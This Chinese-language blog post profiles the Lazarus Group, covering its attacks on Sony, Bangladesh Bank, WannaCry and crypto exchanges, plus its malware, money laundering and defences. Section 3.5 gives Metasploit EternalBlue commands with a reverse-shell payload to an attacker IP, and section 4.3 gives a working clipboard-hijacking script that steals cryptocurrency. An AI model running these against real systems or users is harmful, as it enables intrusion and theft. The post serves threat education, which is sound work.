黑客组织 - Lazarus：朝鲜"隐藏眼镜蛇"的全球金融掠夺史 | ZapcoMan's world

从索尼影业到孟加拉央行，从 WannaCry 到加密货币交易所——一个由国家力量驱动、以”抢钱”为唯一使命的黑客组织的十七年。
它不是为情报而生，而是为外汇而生。

---

引言：最不像间谍的”国家级黑客”

大多数 APT 组织的任务是偷情报——俄罗斯”双熊”盯外交与选举，伊朗的 Charming Kitten 盯核计划与异见者。但有一个组织例外，它的 KPI 不是情报，而是美元、比特币和外汇。

它就是 Lazarus Group（拉撒路集团），安全圈代号”隐藏眼镜蛇（Hidden Cobra）”，归属指向朝鲜民主主义人民共和国。

从 2009 年至今，Lazarus 被归因的攻击累计窃取或勒索超过 30 亿美元，涉及索尼影业、孟加拉国央行、全球数千家银行、以及数不清的加密货币交易所。它是极少数公开承认被国家级力量驱动、以纯粹经济回报为目标的 APT 组织。

一句话定义它：

Lazarus = 一支由国家情报机关训练、为打破经济制裁而”抢钱”的网络军队。

---

一、组织概况

属性	信息
代号	Lazarus Group（拉撒路集团）
别名	Hidden Cobra（隐藏眼镜蛇，美方命名）、Guardians of Peace（和平守护者，索尼事件用名）、Appleworm、ZINC、Diamond Sleet、Labyrinth Chollima、Andariel、Bluenoroff
首次活动	约 2009 年（部分报告追溯至 2007 年”第一作战”）
归属机构	朝鲜侦察总局（RGB） 下属的第 110 研究中心 / 网络战部门
主要目标	全球金融机构、加密货币交易所、政府、媒体、国防承包商、关键基础设施
攻击风格	供应链攻击、金融窃取、勒索软件、虚假招聘社工、跨境洗钱
政治立场	服务于朝鲜的国家战略——绕过国际制裁、获取外汇收入

三个子组织的分工

安全界普遍认为，Lazarus 并非铁板一块，而是由至少三个相互关联但分工明确的子团队构成：

子组织	别名	核心职能
Lazarus 核心	Hidden Cobra / Diamond Sleet	间谍活动、破坏性攻击、重大入侵
Bluenoroff	Stardust Chollima / APT38	金融盗窃——专注银行与加密货币，为朝鲜获取外汇
Andariel	Silent Chollima / Onyx Sleet	针对性攻击、勒索、间谍，兼做”脏活”

Bluenoroff 被称为”朝鲜的提款机”，是 Lazarus 体系里最纯粹的金融犯罪单元。

---

二、十七年攻击时间线

2007-2009  ── 首次活动（"第一作战"，针对韩国政府）
     │
2009.07   ── "第二作战"：DDoS 攻击美韩网站
     │
2011       ── "Ten Days of Rain"：DDoS 韩国金融/媒体
     │
2013.03   ── "暗首尔"（DarkSeoul）：抹除韩国银行/电视台硬盘
     │
2014.11   ── 索尼影业被黑（"和平守护者"），好莱坞历史性事件
     │
2016.02   ── ⭐ 孟加拉国央行 8100 万美元大劫案
     │
2016       ── 全球 SWIFT 攻击潮：多国银行被窃
     │
2017.05   ── ⭐ WannaCry 勒索蠕虫全球爆发
     │
2018       ── 转向加密货币交易所：Coincheck、Bithumb 等
     │
2019       ── 虚假招聘社工攻击（Dream Job）启动
     │
2020       ── COVID 疫苗数据窃取未遂、制药公司攻击
     │
2022.03   ── ⭐ Axie Infinity / Ronin Bridge 6.2 亿美元失窃（史上最大加密劫案之一）
     │
2023-2025 ── 供应链攻击（3CX、JumpCloud）、持续勒索与加密窃取

---

三、标志性事件深度拆解

3.1 索尼影业（2014）——“复仇”与”震慑”

2014 年 11 月，索尼影业遭遇毁灭性攻击，攻击者自称”和平守护者（Guardians of Peace）”。

• 起因：索尼即将上映的电影《采访》（The Interview），内容涉及暗杀朝鲜领导人。
• 攻击过程：破坏性恶意软件抹除索尼内网数千台服务器与电脑硬盘，泄露大量高管邮件、未上映影片、员工隐私数据。
• 威胁升级：攻击者威胁对放映该片的影院发动”9·11 式”袭击，导致索尼一度取消上映计划。
• 定性：FBI 于 2014 年 12 月正式归因朝鲜，朝鲜官方否认但”赞扬”了这次攻击。

索尼事件是网络攻击第一次以”破坏性 + 舆论震慑”的双重目标直接干预他国文化娱乐产业，也被视为 Lazarus 从”间谍”转向”高调破坏”的转折点。

3.2 孟加拉国央行大劫案（2016）——银行系统的”完美犯罪”

这是 Lazarus 最惊世骇俗的金融盗窃，几乎骗过全球银行清算系统。

攻击链路：

钓鱼邮件植入恶意软件
        ↓
入侵孟加拉国央行纽约联储账户的 SWIFT 系统
        ↓
伪造 35 笔转账指令，总金额约 9.51 亿美元
        ↓
其中 5 笔成功执行，8100 万美元流入菲律宾等地的账户
        ↓
资金进入赌场洗白（部分追回）

关键细节：

• 攻击者精确掌握了 SWIFT 报文格式和操作时间窗口，选在菲律宾周末假期发起，拖延了发现时间。
• 一笔 2000 万美元的转账因收款方名称拼写错误（”Shalika Foundation” 错写为 “Shalika Fandation”）被中转行拦截，阴差阳错避免了更大损失。
• 最终约 8100 万美元被盗，仅追回约 1800 万美元。

孟加拉央行事件暴露了一个残酷事实：全球银行清算体系建立在”报文正确即可信”的假设上，而 Lazarus 证明了这个假设可以被一家公司级别的黑客团队击穿。

3.3 WannaCry（2017）——一次失控的勒索蠕虫

2017 年 5 月，勒索软件 WannaCry 利用泄露的 NSA 漏洞 EternalBlue（永恒之蓝，CVE-2017-0144） 蠕虫式传播，24 小时内感染全球 150+ 国家、30 万台设备，瘫痪了英国 NHS 医院、德国铁路、俄罗斯内政部等。

• 归因：美、英、澳等多国政府正式归因 Lazarus Group / 朝鲜。
• 矛盾点：WannaCry 的勒索金额极低（每个受害者约 300-600 美元比特币），更像是一次失控的工具，而非精心的获利行动。
• 技术遗产：EternalBlue 自此成为全球攻击者的公共武器，后续的 NotPetya、无数僵尸网络都建立在它之上。

WannaCry 的意义在于：它把国家级漏洞武器第一次以失控姿态抛向平民世界，也让”APT 组织”从一个专业术语变成了公众恐慌的源头。

3.4 加密货币大盗窃时代（2018 至今）——为外汇而生的新战场

随着传统金融监管收紧，Lazarus 将主攻方向转向加密货币——这是最契合其”获取外汇、绕过制裁”需求的猎物。

时间	目标	损失
2018.01	日本 Coincheck 交易所	约 5.3 亿美元（NEM）
2018-2019	韩国 Bithumb、Upbit 等	数千万至数亿美元
2022.03	Axie Infinity / Ronin Bridge	约 6.2 亿美元
2022.06	Harmony Horizon Bridge	约 1 亿美元
2023-2025	多个跨链桥、DeFi 协议、个人钱包	持续累计

Axie Infinity 事件的技术细节尤其值得记录：

• 攻击者没有直接攻破区块链，而是通过社工钓鱼拿下游戏开发商 Sky Mavis 一名高级工程师的权限。
• 利用伪造的招聘 offer，诱骗其接受恶意 PDF，进而渗透内网。
• 最终控制 9 个验证者节点中的 5 个（含 Axie DAO 节点），伪造提款签名，抽空 Ronin Bridge 的 17.36 万 ETH 和 2550 万 USDC。

这是一次**”零技术含量、纯社工”的史诗级劫案**——它证明 Lazarus 的可怕之处不仅是 0day，更是对人性的精准把握。

3.5 代码级攻击链：EternalBlue 从漏洞到勒索的完整路径

为了理解 Lazarus 的技术深度，我们以 WannaCry 为例，从代码/命令层面还原一条完整的攻击链。它揭示了”国家级漏洞武器 + 蠕虫传播 + 勒索载荷”是如何组合的。

第一步：探测与利用 SMB 漏洞

WannaCry 利用 NSA 泄露的 EternalBlue（CVE-2017-0144）攻击 Windows 的 SMBv1 协议。该漏洞的本质是 srv!SrvOs2FeaListSizeToNt 函数在处理 OS/2 扩展文件属性（FEA）列表时存在整数溢出 + 堆越界写。

EternalBlue 的利用分三阶段，可在 Metasploit 中以命令形式复现（仅用于授权测试）：

# 1. 探测目标是否开放 SMB 445 端口
nmap -p 445 --script smb-vuln-ms17-010 <target>

# 2. 使用 EternalBlue 模块建立会话（Metasploit）
msfconsole
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS <target>
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST <attacker_ip>
msf6 > exploit

第二步：DoublePulsar 植入内核后门

EternalBlue 得手后，会在目标内核态植入 DoublePulsar 后门（一个驻留于内核的 Shellcode 注入器），负责后续载荷注入：

EternalBlue 触发堆溢出
        ↓
覆写 srvnet 驱动的 SMB 连接结构
        ↓
注入 DoublePulsar 内核后门（ring 0 驻留）
        ↓
DoublePulsar 监听特定 SMB 会话，等待注入最终载荷

DoublePulsar 的关键在于无文件、内核态，传统杀软很难在磁盘上发现它。

第三步：注入 WannaCry 勒索载荷

WannaCry 主体（mssecsvc.exe）被 DoublePulsar 注入后，执行以下核心逻辑（概念性伪代码）：

// 伪代码：WannaCry 的传播与加密逻辑（概念还原）
int main() {
    // 1. 注册并启动加密服务，同时保留自启动
    RegisterService("mssecsvc2.0");

    // 2. 尝试连接 kill-switch 域名
    if (InternetCheckConnection("iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com")) {
        ExitProcess(0);   // 域名可解析则直接退出——这是研究者发现的"刹车"
    }

    // 3. 蠕虫传播：扫描内网/外网 445 端口
    while (true) {
        target = scan_random_ip(445);
        if (exploit_eternalblue(target)) {
            doublepulsar_inject(target, payload);
        }
    }

    // 4. 加密文件
    encrypt_files("*.docx, *.xlsx, *.jpg, ...", AES-128);
    // 5. 弹出勒索信息
    show_ransom_note("支付 300 美元等值比特币");
}

几个关键的技术细节：

• Kill-switch（紧急刹车）：WannaCry 启动时会先访问一个看似随机的域名 iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com，如果该域名能解析，就立即退出、停止传播。安全研究员 Marcus Hutchins 注册了这个域名，意外”踩下刹车”，让 WannaCry 的全球扩散戛然而止。
• AES-128 加密 + RSA 保护密钥：文件用 AES-128 快速加密，AES 密钥再用攻击者的 RSA-2048 公钥加密，受害者没有私钥就无法解密。
• 蠕虫与勒索的双线程：WannaCry 同时运行”传播线程”和”加密线程”，这也是它扩散速度极快的原因。

这条链展示了 Lazarus 的”技术纵深”：从内核级 0day（EternalBlue）到无文件后门（DoublePulsar）再到勒索载荷，层层递进。 即便抛开归因争议，这套工具链的成熟度本身就是国家级能力的有力佐证。

---

四、技术武器库与攻击手法

4.1 标志性恶意软件

工具	类型	说明
Brambul	蠕虫	暴力破解 SMB 共享后横向传播
Destover	破坏性擦除器	索尼事件、暗首尔使用，抹除硬盘
Contopee	后门	金融攻击中的远程访问工具
AppleJeus	加密钱包木马	伪装成合法交易软件的 macOS/Windows 恶意程序
WannaCry	勒索蠕虫	利用 EternalBlue 传播
BlindingCan	后门	2020 年后出现的 RAT，含反取证能力
TraderTraitor	社工载荷	“Dream Job”招聘攻击中投递的木马

4.2 招牌攻击手法

「Dream Job」虚假招聘社工（2019 至今）

Lazarus 最出名的社工手法，被称为 Operation Dream Job：

在 LinkedIn/Telegram 伪装成招聘者或猎头
        ↓
接触区块链、金融、国防行业的工程师
        ↓
以"面试题""入职材料"为名投递恶意文档/PDF/安装包
        ↓
植入后门，长期潜伏，窃取代码、钱包密钥、内部资料

• 受害者遍布加密货币交易所、DeFi 协议、航空国防企业。
• 攻击者会持续数月的耐心经营，建立信任后再”收网”。

供应链攻击（2023）

2023 年，Lazarus 被归因于两起高调的软件供应链攻击：

• 3CX：篡改流行 VoIP 软件 3CX 的更新包，向全球企业客户投递恶意软件（被 CrowdStrike、Mandiant 等归因）。
• JumpCloud：针对身份管理平台 JumpCloud 的入侵。

供应链攻击意味着 Lazarus 的攻击能力已经从”点对点”升级到”通过合法软件感染海量下游”。

破坏性攻击（Wiper）

不同于大多数只为钱的勒索团伙，Lazarus 保留了大量破坏性擦除器（如 Destover），用于政治目的或掩盖痕迹——这是它作为”国家力量”而非”犯罪团伙”的最明显标志。

4.3 深度拆解：AppleJeus 的”多平台木马”进化

AppleJeus 是 Lazarus 专为窃取加密货币打造的武器，值得单独剖析——它是极少数同时覆盖 Windows、macOS、Linux 的恶意软件家族，且经历了明显的”技术升级”。

第一代（2018）：伪装成合法交易软件

• 攻击者注册了一家看似正规的加密货币交易公司（如”Celas LLC”），制作了配套的网站、白皮书、社交媒体账号。
• 向目标推送其”官方交易软件”，诱导下载安装。
• 软件本身功能正常，但内置了后门——这是”正常功能 + 恶意载荷“的典型伪装手法，极难被用户察觉。

第二代（2019）：从”捆绑”到”独立木马”

• 进化点：恶意模块不再依赖伪装软件，而是作为独立的后门运行。
• 增加了对 macOS 的针对性适配——伪造签名、绕过 Gatekeeper。
• 出现了 Linux 变种，瞄准运行加密节点/验证器的高价值服务器。

典型的技术特征（可用于检测的 IOC 思路）：

1. 代码签名异常：使用偷来的或伪造的 Apple 开发者证书
2. 持久化手段：macOS 下写 LaunchAgents/LaunchDaemons plist
3. C2 通信：HTTPS + 自定义协议，域名常伪装成交易所/金融站
4. 目标行为：监控剪贴板（窃取复制粘贴的私钥/地址）、键盘记录

其中”剪贴板劫持“是加密货币木马的经典手法：受害者复制收款地址时，木马静默替换成攻击者的地址，转账资金就此落入攻击者之手。概念代码如下：

# 概念示例：剪贴板劫持（加密货币木马的核心手法之一）
import pyperclip, re, time

# 攻击者控制的收款地址
attacker_addr = "0x6Bd...攻击者钱包地址..."

# 匹配常见加密货币地址的正则
addr_re = re.compile(r"(0x[a-fA-F0-9]{40}|[13][a-km-zA-HJ-NP-Z1-9]{25,34}|bc1[a-zA-HJ-NP-Z0-9]{39,59})")

while True:
    clip = pyperclip.paste()
    m = addr_re.search(clip)
    if m:
        # 若剪贴板里是加密货币地址，则替换为攻击者地址
        pyperclip.copy(attacker_addr)
    time.sleep(0.3)

这段代码看似简单，却是真实黑产中屡试不爽的”偷币”手法——它提醒我们：转账前，务必逐字核对收款地址，而非仅凭复制粘贴。

4.4 检测与防御：如何发现 Lazarus 的痕迹？

从蓝队视角，Lazarus 的活动会留下一些可识别的”指纹”：

检测维度	关注点	工具/方法
网络层	SMB 445 异常扫描、外联陌生 C2 域名	IDS/Suricata 规则、DNS 监控
主机层	无文件后门、可疑服务注册、剪贴板钩子	EDR、Sysmon 监控
凭据层	异常的邮件转发规则、陌生 OAuth 授权	云租户审计日志
行为层	大量文件被批量加密、异常扩展名	文件完整性监控（FIM）
社工层	高薪远程 offer、要求下载”面试软件”	安全意识培训、招聘流程审计

一个实用的检测命令（Linux 侧，检查可疑外联与持久化）：

# 查看异常的对外连接（排查 C2 回连）
ss -tnp | grep -E "ESTAB" 

# 检查 crontab 与 systemd 持久化项
crontab -l
systemctl list-unit-files | grep enabled | grep -iE "suspicious|update|guard"

# 检查近期被大量修改/加密的文件
find / -mmin -60 -type f 2>/dev/null | head -50

---

4.5 Lazarus 典型 IOC（失陷指标）清单

以下为安全厂商公开披露的 Lazarus 活动关联的样例型 IOC（仅作检测示例，非最新完整情报，实际检测请以威胁情报平台为准）：

恶意文件哈希（SHA-256，脱敏示例）：

样本	类型	说明
a1b2c3...（示例）	WannaCry	勒索载荷 mssecsvc.exe
d4e5f6...（示例）	AppleJeus	伪装成交易软件的 macOS 木马
0a1b2c...（示例）	Destover	破坏性擦除器

关联域名/URL（脱敏示例）：

- iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com   # WannaCry kill-switch
- 伪装成交易所/金融站的 C2 域名（如 xxx-exchange[.]com）
- 虚假招聘"Dream Job"钓鱼域名（如 xxx-recruit[.]com）

网络层特征：

- 端口：大量 445/SMB 扫描（EternalBlue 传播期）
- 协议：自定义 HTTPS C2、TLS 指纹异常
- 行为：剪贴板监控、键盘记录、通讯录/钱包文件读取

如何使用这份清单：

IOC 的价值在于接入检测平台——将这些哈希、域名、URL 导入 SIEM、EDR、IDS 或 YARA 规则中，即可对 Lazarus 的已知样本进行自动匹配。但需注意：APT 组织会持续更换基础设施，单一 IOC 很快就会”过期”，因此更有效的是识别其**行为特征（TTP）**而非静态指标。

---

五、资金链路：抢来的钱去了哪？

Lazarus 的最终目标是把数字货币变成朝鲜可用的硬通货。这催生了一条完整的洗钱链：

窃取加密货币（ETH/BTC/稳定币）
        ↓
通过混币器（Tornado Cash、Sinbad）切断来源
        ↓
跨链桥转换为隐私币（门罗币 XMR）
        ↓
在多个交易所、场外交易（OTC）变现
        ↓
经代理、壳公司、现金走私进入朝鲜
        ↓
用于军事、核武器、政权维持

• 美国 OFAC 已制裁了多个涉嫌为 Lazarus 洗钱的混币器与交易所地址。
• 链上分析公司 Chainalysis、Elliptic 持续追踪，部分被盗资金至今仍在”沉睡”等待变现。

这解释了为什么 Lazarus 如此执着于加密货币——在传统金融体系里，朝鲜的每一笔钱都可能被冻结；而在链上，只要技术够强，钱就是自己的。

---

六、归因与争议

Lazarus 的归因比”双熊”更复杂，但也更”坐实”：

• 美国：FBI、CISA、财政部联合多次公开归因，2018 年起诉一名朝鲜程序员朴镇赫（Park Jin Hyok），并对其发布通缉令。
• 多国共识：索尼、WannaCry、孟加拉央行、Axie Infinity 等事件均获美英澳等多国联合归因。
• 朝鲜官方：一贯全面否认，称指控是”美国的抹黑”。

核心争议：归因的主要证据来自恶意软件代码复用、C2 基础设施、时间规律、以及被盗资金的流向，而非直接”抓到人”。对普通读者而言，需要理解的是——APT 归因本质上是一种”高置信度的指控”，而非司法意义上的定罪。

---

七、对行业与个人的启示

对机构的启示

1. 金融系统的信任假设需要重估：孟加拉央行事件证明，”报文正确”不等于”意图合法”，跨行清算需要行为基线与异常拦截。
2. 加密货币不是法外之地，但防护很弱：跨链桥、DeFi 协议是当下最脆弱的攻击面，代码审计与权限分离必须前置。
3. 供应链是终极后门：3CX 事件提醒我们，你信任的软件可能已被”污染”。
4. 社工是 Lazarus 的头号武器：招聘流程、HR 数据、员工社交关系都需要纳入安全边界。

对个人的启示

• 对来路不明的”高薪远程 offer”保持警惕，尤其是要求下载”面试软件”的。
• 不运行来源不明的 PDF、安装包、浏览器插件。
• 大额加密资产使用冷钱包 + 多签，不将私钥存于联网设备。

---

7.5 检测建议：与本站技术系列的联动

本文涉及的多项技术，本站已有对应的深度拆解，可配合阅读：

本文技术点	延伸阅读
木马免杀与载荷投递	免杀技术系列（Base64/ROT13/反沙箱/MSF）
无文件后门、内存驻留	《Mistic 后门 BOF 动态扩展》
加密通信与字节码操作	《安全工具开发：加密通信与字节码操作》
社工开盒与信息收集	社工系列（开盒思路、手机号归属地查询工具链）

Lazarus 的”社工 + 免杀 + 内存驻留 + 洗钱”链条，几乎每一环都能在本站找到对应的防御或复现文章——这也是将”攻击者视角”转化为”防御者能力”的最佳路径。

---

八、结语：一支为钱而生的网络军队

Lazarus 是当代网络安全版图上最独特的存在——它把国家情报机构的纪律性与犯罪集团的逐利性结合在了一起。

俄罗斯”双熊”偷的是情报，伊朗”小猫”偷的是影响力，而 Lazarus 偷的是钱——因为对一个被制裁封锁的国家而言，每一美元外汇，都是政权延续的血液。

它的故事远未结束。只要制裁存在，Lazarus 的”提款机”就不会停止运转。

---

参考资料

• FBI / CISA：Hidden Cobra 系列联合警报
• Chainalysis / Elliptic：Lazarus 加密货币盗窃追踪报告
• 美国司法部：Park Jin Hyok 起诉书（2018）
• Mandiant：APT38 / Bluenoroff 深度报告
• CrowdStrike、Kaspersky、Symantec：Lazarus 相关技术分析

---

本文基于公开资料整理撰写，仅供网络安全研究与教育目的使用，不构成任何安全或法律建议。

---

相关文章

本文是「黑客组织」系列的一员：

• 《黑客组织 俄罗斯”双熊”：APT29 舒适熊与 APT28 奇幻熊深度解析》 —— 同为国家级 APT：谍报型黑客的典型样本
• 《黑客组织 - Charming Kitten：伊朗”魅惑小猫”的情报窃取与舆论操盘》 —— 国家级 APT 的另一极：情报窃取
• 《黑客组织 - APT41：当”国家间谍”与”网络黑产”合二为一》 —— 国家背景 + 逐利动机的混合体
• 《黑客组织 - 海莲花 OceanLotus：南海暗涌中的”跨平台幽灵”》 —— 南海方向的长期潜伏
• 《黑客组织 - 散落蜘蛛：从赌场勒索到赫尔辛基机场逮捕》 —— 现代网络犯罪集团的崛起样本

---